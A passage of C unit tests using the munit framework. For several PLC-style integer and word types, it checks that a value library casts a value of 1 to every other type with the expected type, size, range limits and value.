munit_assert_int32(sValue.Value.S32, ==, 1);
value_assign(&sValue, TYPE_UDINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_INT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_INT);
munit_assert_size(sValue.Length, ==, sizeof(int16_t));
munit_assert_int16(sValue.Maximum.S16, ==, INT16_MAX);
munit_assert_int16(sValue.Minimum.S16, ==, INT16_MIN);
munit_assert_int16(sValue.Value.S16, ==, 1);
value_assign(&sValue, TYPE_UDINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_SINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_SINT);
munit_assert_size(sValue.Length, ==, sizeof(int8_t));
munit_assert_int8(sValue.Maximum.S8, ==, INT8_MAX);
munit_assert_int8(sValue.Minimum.S8, ==, INT8_MIN);
munit_assert_int8(sValue.Value.S8, ==, 1);
value_assign(&sValue, TYPE_UDINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_ULINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_ULINT);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.U64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.U64, ==, 0);
munit_assert_uint64(sValue.Value.U64, ==, 1);
value_assign(&sValue, TYPE_UDINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_UDINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UDINT);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.U32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.U32, ==, 0);
munit_assert_uint32(sValue.Value.U32, ==, 1);
value_assign(&sValue, TYPE_UDINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_UINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UINT);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.U16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.U16, ==, 0);
munit_assert_uint16(sValue.Value.U16, ==, 1);
value_assign(&sValue, TYPE_UDINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_USINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_USINT);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.U8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.U8, ==, 0);
munit_assert_uint8(sValue.Value.U8, ==, 1);
value_assign(&sValue, TYPE_UDINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_LWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.B64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.B64, ==, 0);
munit_assert_uint64(sValue.Value.B64, ==, 1);
value_assign(&sValue, TYPE_UDINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.B32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.B32, ==, 0);
munit_assert_uint32(sValue.Value.B32, ==, 1);
value_assign(&sValue, TYPE_UDINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_WORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_WORD);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.B16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.B16, ==, 0);
munit_assert_uint16(sValue.Value.B16, ==, 1);
value_assign(&sValue, TYPE_UDINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_BYTE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BYTE);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.B8, ==, 0);
munit_assert_uint8(sValue.Value.B8, ==, 1);
value_assign(&sValue, TYPE_UDINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_BOOL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BOOL);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B1, ==, 1);
munit_assert_uint8(sValue.Minimum.B1, ==, 0);
munit_assert_uint8(sValue.Value.B1, ==, 1);
value_assign(&sValue, TYPE_UDINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_TIME), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TIME);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Time, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Time, ==, FLT_MIN);
munit_assert_float(sValue.Value.Time, ==, 1.0);
value_assign(&sValue, TYPE_UDINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DATE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DATE);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_UDINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DT);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_UDINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_TOD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TOD);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_destroy(&sValue);
// TYPE_UINT
value_initialise(&sValue);
value_assign(&sValue, TYPE_UINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_LREAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LREAL);
munit_assert_size(sValue.Length, ==, sizeof(double));
munit_assert_double(sValue.Maximum.Double, ==, DBL_MAX);
munit_assert_double(sValue.Minimum.Double, ==, DBL_MIN);
munit_assert_double(sValue.Value.Double, ==, 1.0);
value_assign(&sValue, TYPE_UINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_REAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_REAL);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Single, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Single, ==, FLT_MIN);
munit_assert_float(sValue.Value.Single, ==, 1.0f);
value_assign(&sValue, TYPE_UINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_LINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_size(sValue.Length, ==, sizeof(int64_t));
munit_assert_int64(sValue.Maximum.S64, ==, INT64_MAX);
munit_assert_int64(sValue.Minimum.S64, ==, INT64_MIN);
munit_assert_int64(sValue.Value.S64, ==, 1);
value_assign(&sValue, TYPE_UINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DINT);
munit_assert_size(sValue.Length, ==, sizeof(int32_t));
munit_assert_int32(sValue.Maximum.S32, ==, INT32_MAX);
munit_assert_int32(sValue.Minimum.S32, ==, INT32_MIN);
munit_assert_int32(sValue.Value.S32, ==, 1);
value_assign(&sValue, TYPE_UINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_INT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_INT);
munit_assert_size(sValue.Length, ==, sizeof(int16_t));
munit_assert_int16(sValue.Maximum.S16, ==, INT16_MAX);
munit_assert_int16(sValue.Minimum.S16, ==, INT16_MIN);
munit_assert_int16(sValue.Value.S16, ==, 1);
value_assign(&sValue, TYPE_UINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_SINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_SINT);
munit_assert_size(sValue.Length, ==, sizeof(int8_t));
munit_assert_int8(sValue.Maximum.S8, ==, INT8_MAX);
munit_assert_int8(sValue.Minimum.S8, ==, INT8_MIN);
munit_assert_int8(sValue.Value.S8, ==, 1);
value_assign(&sValue, TYPE_UINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_ULINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_ULINT);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.U64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.U64, ==, 0);
munit_assert_uint64(sValue.Value.U64, ==, 1);
value_assign(&sValue, TYPE_UINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_UDINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UDINT);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.U32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.U32, ==, 0);
munit_assert_uint32(sValue.Value.U32, ==, 1);
value_assign(&sValue, TYPE_UINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_UINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UINT);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.U16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.U16, ==, 0);
munit_assert_uint16(sValue.Value.U16, ==, 1);
value_assign(&sValue, TYPE_UINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_USINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_USINT);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.U8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.U8, ==, 0);
munit_assert_uint8(sValue.Value.U8, ==, 1);
value_assign(&sValue, TYPE_UINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_LWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.B64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.B64, ==, 0);
munit_assert_uint64(sValue.Value.B64, ==, 1);
value_assign(&sValue, TYPE_UINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.B32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.B32, ==, 0);
munit_assert_uint32(sValue.Value.B32, ==, 1);
value_assign(&sValue, TYPE_UINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_WORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_WORD);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.B16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.B16, ==, 0);
munit_assert_uint16(sValue.Value.B16, ==, 1);
value_assign(&sValue, TYPE_UINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_BYTE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BYTE);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.B8, ==, 0);
munit_assert_uint8(sValue.Value.B8, ==, 1);
value_assign(&sValue, TYPE_UINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_BOOL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BOOL);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B1, ==, 1);
munit_assert_uint8(sValue.Minimum.B1, ==, 0);
munit_assert_uint8(sValue.Value.B1, ==, 1);
value_assign(&sValue, TYPE_UINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_TIME), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TIME);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Time, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Time, ==, FLT_MIN);
munit_assert_float(sValue.Value.Time, ==, 1.0);
value_assign(&sValue, TYPE_UINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DATE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DATE);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_UINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DT);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_UINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_TOD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TOD);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_destroy(&sValue);
// TYPE_USINT
value_initialise(&sValue);
value_assign(&sValue, TYPE_USINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_LREAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LREAL);
munit_assert_size(sValue.Length, ==, sizeof(double));
munit_assert_double(sValue.Maximum.Double, ==, DBL_MAX);
munit_assert_double(sValue.Minimum.Double, ==, DBL_MIN);
munit_assert_double(sValue.Value.Double, ==, 1.0);
value_assign(&sValue, TYPE_USINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_REAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_REAL);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Single, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Single, ==, FLT_MIN);
munit_assert_float(sValue.Value.Single, ==, 1.0f);
value_assign(&sValue, TYPE_USINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_LINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_size(sValue.Length, ==, sizeof(int64_t));
munit_assert_int64(sValue.Maximum.S64, ==, INT64_MAX);
munit_assert_int64(sValue.Minimum.S64, ==, INT64_MIN);
munit_assert_int64(sValue.Value.S64, ==, 1);
value_assign(&sValue, TYPE_USINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DINT);
munit_assert_size(sValue.Length, ==, sizeof(int32_t));
munit_assert_int32(sValue.Maximum.S32, ==, INT32_MAX);
munit_assert_int32(sValue.Minimum.S32, ==, INT32_MIN);
munit_assert_int32(sValue.Value.S32, ==, 1);
value_assign(&sValue, TYPE_USINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_INT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_INT);
munit_assert_size(sValue.Length, ==, sizeof(int16_t));
munit_assert_int16(sValue.Maximum.S16, ==, INT16_MAX);
munit_assert_int16(sValue.Minimum.S16, ==, INT16_MIN);
munit_assert_int16(sValue.Value.S16, ==, 1);
value_assign(&sValue, TYPE_USINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_SINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_SINT);
munit_assert_size(sValue.Length, ==, sizeof(int8_t));
munit_assert_int8(sValue.Maximum.S8, ==, INT8_MAX);
munit_assert_int8(sValue.Minimum.S8, ==, INT8_MIN);
munit_assert_int8(sValue.Value.S8, ==, 1);
value_assign(&sValue, TYPE_USINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_ULINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_ULINT);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.U64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.U64, ==, 0);
munit_assert_uint64(sValue.Value.U64, ==, 1);
value_assign(&sValue, TYPE_USINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_UDINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UDINT);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.U32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.U32, ==, 0);
munit_assert_uint32(sValue.Value.U32, ==, 1);
value_assign(&sValue, TYPE_USINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_UINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UINT);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.U16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.U16, ==, 0);
munit_assert_uint16(sValue.Value.U16, ==, 1);
value_assign(&sValue, TYPE_USINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_USINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_USINT);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.U8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.U8, ==, 0);
munit_assert_uint8(sValue.Value.U8, ==, 1);
value_assign(&sValue, TYPE_USINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_LWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.B64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.B64, ==, 0);
munit_assert_uint64(sValue.Value.B64, ==, 1);
value_assign(&sValue, TYPE_USINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.B32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.B32, ==, 0);
munit_assert_uint32(sValue.Value.B32, ==, 1);
value_assign(&sValue, TYPE_USINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_WORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_WORD);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.B16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.B16, ==, 0);
munit_assert_uint16(sValue.Value.B16, ==, 1);
value_assign(&sValue, TYPE_USINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_BYTE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BYTE);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.B8, ==, 0);
munit_assert_uint8(sValue.Value.B8, ==, 1);
value_assign(&sValue, TYPE_USINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_BOOL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BOOL);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B1, ==, 1);
munit_assert_uint8(sValue.Minimum.B1, ==, 0);
munit_assert_uint8(sValue.Value.B1, ==, 1);
value_assign(&sValue, TYPE_USINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_TIME), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TIME);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Time, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Time, ==, FLT_MIN);
munit_assert_float(sValue.Value.Time, ==, 1.0);
value_assign(&sValue, TYPE_USINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DATE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DATE);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_USINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_DT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DT);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_USINT, 1);
munit_assert_int(value_cast(&sValue, TYPE_TOD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TOD);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_destroy(&sValue);
// TYPE_LWORD
value_initialise(&sValue);
value_assign(&sValue, TYPE_LWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_LREAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LREAL);
munit_assert_size(sValue.Length, ==, sizeof(double));
munit_assert_double(sValue.Maximum.Double, ==, DBL_MAX);
munit_assert_double(sValue.Minimum.Double, ==, DBL_MIN);
munit_assert_double(sValue.Value.Double, ==, 1.0);
value_assign(&sValue, TYPE_LWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_REAL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_REAL);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Single, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Single, ==, FLT_MIN);
munit_assert_float(sValue.Value.Single, ==, 1.0f);
value_assign(&sValue, TYPE_LWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_LINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LINT);
munit_assert_size(sValue.Length, ==, sizeof(int64_t));
munit_assert_int64(sValue.Maximum.S64, ==, INT64_MAX);
munit_assert_int64(sValue.Minimum.S64, ==, INT64_MIN);
munit_assert_int64(sValue.Value.S64, ==, 1);
value_assign(&sValue, TYPE_LWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_DINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DINT);
munit_assert_size(sValue.Length, ==, sizeof(int32_t));
munit_assert_int32(sValue.Maximum.S32, ==, INT32_MAX);
munit_assert_int32(sValue.Minimum.S32, ==, INT32_MIN);
munit_assert_int32(sValue.Value.S32, ==, 1);
value_assign(&sValue, TYPE_LWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_INT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_INT);
munit_assert_size(sValue.Length, ==, sizeof(int16_t));
munit_assert_int16(sValue.Maximum.S16, ==, INT16_MAX);
munit_assert_int16(sValue.Minimum.S16, ==, INT16_MIN);
munit_assert_int16(sValue.Value.S16, ==, 1);
value_assign(&sValue, TYPE_LWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_SINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_SINT);
munit_assert_size(sValue.Length, ==, sizeof(int8_t));
munit_assert_int8(sValue.Maximum.S8, ==, INT8_MAX);
munit_assert_int8(sValue.Minimum.S8, ==, INT8_MIN);
munit_assert_int8(sValue.Value.S8, ==, 1);
value_assign(&sValue, TYPE_LWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_ULINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_ULINT);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.U64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.U64, ==, 0);
munit_assert_uint64(sValue.Value.U64, ==, 1);
value_assign(&sValue, TYPE_LWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_UDINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UDINT);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.U32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.U32, ==, 0);
munit_assert_uint32(sValue.Value.U32, ==, 1);
value_assign(&sValue, TYPE_LWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_UINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_UINT);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.U16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.U16, ==, 0);
munit_assert_uint16(sValue.Value.U16, ==, 1);
value_assign(&sValue, TYPE_LWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_USINT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_USINT);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.U8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.U8, ==, 0);
munit_assert_uint8(sValue.Value.U8, ==, 1);
value_assign(&sValue, TYPE_LWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_LWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_LWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint64_t));
munit_assert_uint64(sValue.Maximum.B64, ==, UINT64_MAX);
munit_assert_uint64(sValue.Minimum.B64, ==, 0);
munit_assert_uint64(sValue.Value.B64, ==, 1);
value_assign(&sValue, TYPE_LWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_DWORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DWORD);
munit_assert_size(sValue.Length, ==, sizeof(uint32_t));
munit_assert_uint32(sValue.Maximum.B32, ==, UINT32_MAX);
munit_assert_uint32(sValue.Minimum.B32, ==, 0);
munit_assert_uint32(sValue.Value.B32, ==, 1);
value_assign(&sValue, TYPE_LWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_WORD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_WORD);
munit_assert_size(sValue.Length, ==, sizeof(uint16_t));
munit_assert_uint16(sValue.Maximum.B16, ==, UINT16_MAX);
munit_assert_uint16(sValue.Minimum.B16, ==, 0);
munit_assert_uint16(sValue.Value.B16, ==, 1);
value_assign(&sValue, TYPE_LWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_BYTE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BYTE);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B8, ==, UINT8_MAX);
munit_assert_uint8(sValue.Minimum.B8, ==, 0);
munit_assert_uint8(sValue.Value.B8, ==, 1);
value_assign(&sValue, TYPE_LWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_BOOL), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_BOOL);
munit_assert_size(sValue.Length, ==, sizeof(uint8_t));
munit_assert_uint8(sValue.Maximum.B1, ==, 1);
munit_assert_uint8(sValue.Minimum.B1, ==, 0);
munit_assert_uint8(sValue.Value.B1, ==, 1);
value_assign(&sValue, TYPE_LWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_TIME), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TIME);
munit_assert_size(sValue.Length, ==, sizeof(float));
munit_assert_float(sValue.Maximum.Time, ==, FLT_MAX);
munit_assert_float(sValue.Minimum.Time, ==, FLT_MIN);
munit_assert_float(sValue.Value.Time, ==, 1.0);
value_assign(&sValue, TYPE_LWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_DATE), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DATE);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_LWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_DT), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_DT);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
munit_assert_float(sValue.Value.DateTime, ==, 1);
value_assign(&sValue, TYPE_LWORD, 1);
munit_assert_int(value_cast(&sValue, TYPE_TOD), ==, 0);
munit_assert_uint32(sValue.Type, ==, TYPE_TOD);
munit_assert_size(sValue.Length, ==, sizeof(time_t));
munit_assert_float(sValue.Maximum.DateTime, ==, 0);
munit_assert_float(sValue.Minimum.DateTime, ==, 0);
